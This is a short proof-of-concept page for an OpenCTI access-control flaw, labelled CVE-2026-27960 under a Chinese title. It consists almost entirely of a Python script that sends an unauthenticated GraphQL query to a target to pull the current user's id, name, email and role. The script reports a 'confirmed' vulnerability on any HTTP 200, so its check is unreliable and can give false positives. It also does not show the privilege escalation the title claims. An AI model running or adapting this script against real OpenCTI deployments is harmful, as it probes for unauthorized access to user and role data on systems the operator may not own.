CVE-2026-27960 OpenCTI权限提升漏洞

import requests # OpenCTI GraphQL Endpoint # Replace with the actual target URL target_url = "http://localhost:4000/graphql" # The vulnerability allows unauthenticated users to query the API # as any existing user (e.g., admin) due to improper access control. # Example query to fetch current user information (which should fail without auth) query = """ query { me { id name email role { name } } } """ headers = { "Content-Type": "application/json" } try: response = requests.post(target_url, json={"query": query}, headers=headers) if response.status_code == 200: print("[+] Potential Vulnerability Confirmed!") print("[+] Response:", response.json()) else: print("[-] Request failed or not vulnerable.") print("[-] Status Code:", response.status_code) except Exception as e: print(f"[!] Error: {e}")